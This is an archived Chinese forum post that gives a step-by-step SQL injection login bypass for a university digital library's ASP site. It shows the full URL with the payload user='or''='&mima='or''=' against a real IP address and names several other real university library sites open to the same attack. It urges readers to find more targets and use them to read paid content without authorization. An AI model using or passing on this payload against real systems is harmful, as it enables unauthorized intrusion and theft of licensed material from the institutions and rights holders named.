24小时热门版块排行榜

返回列表

当前主题已经存档。

当前只显示满足指定条件的回帖，点击这里查看本话题的所有回帖

huihui9467

金虫 (正式写手)

应助: 0 (幼儿园)
金币: 551.5
帖子: 368
在线: 16.9小时
虫号: 94062
注册: 2005-09-25
性别: GG
专业: 植物资源学

[交流] 利用asp漏洞进超星图书馆

这是在看了论坛上的一个帖子后测试找出来的，特向菜鸟们推荐，
希望对大家有所帮助！
深圳广播电视大学数字图书馆
http://218.17.219.22/bookhtm/index.asp
搜索需要输入用户名、MM
我们可以构造查询条件，突破限制
做法如下：
1.随便输入学号、MM，登陆，例如：学号=1,MM=1.这时会出现“此用户不存在！返回”
ie地址栏中地址为：http://218.17.219.22/bookhtm/sq/ ... ;B1.x=31&B1.y=6

2.修改地址进入：
将上面地址中user=1&mima=1改为:user='or''='&mima='or''='
或者user='orƇ'=Ƈ&mima='orƇ'=Ƈ 也可
即：http://218.17.219.22/bookhtm/sq/load.asp?user='or''='&mima='or''='&B1.x=31&B1.y=6
就是登陆地址了。
3.登陆后可以随便看了
同样的道理利用这个漏洞，可以登陆另外几个需要输入用户名、MM的站点,需要输入的地方都输上'or''='
如：驻马店电大：http://www.zmdtvu.net/dabookhtm/
铜陵电大：http://218.22.180.149/index.asp其他的自己好好发掘吧，

回复此楼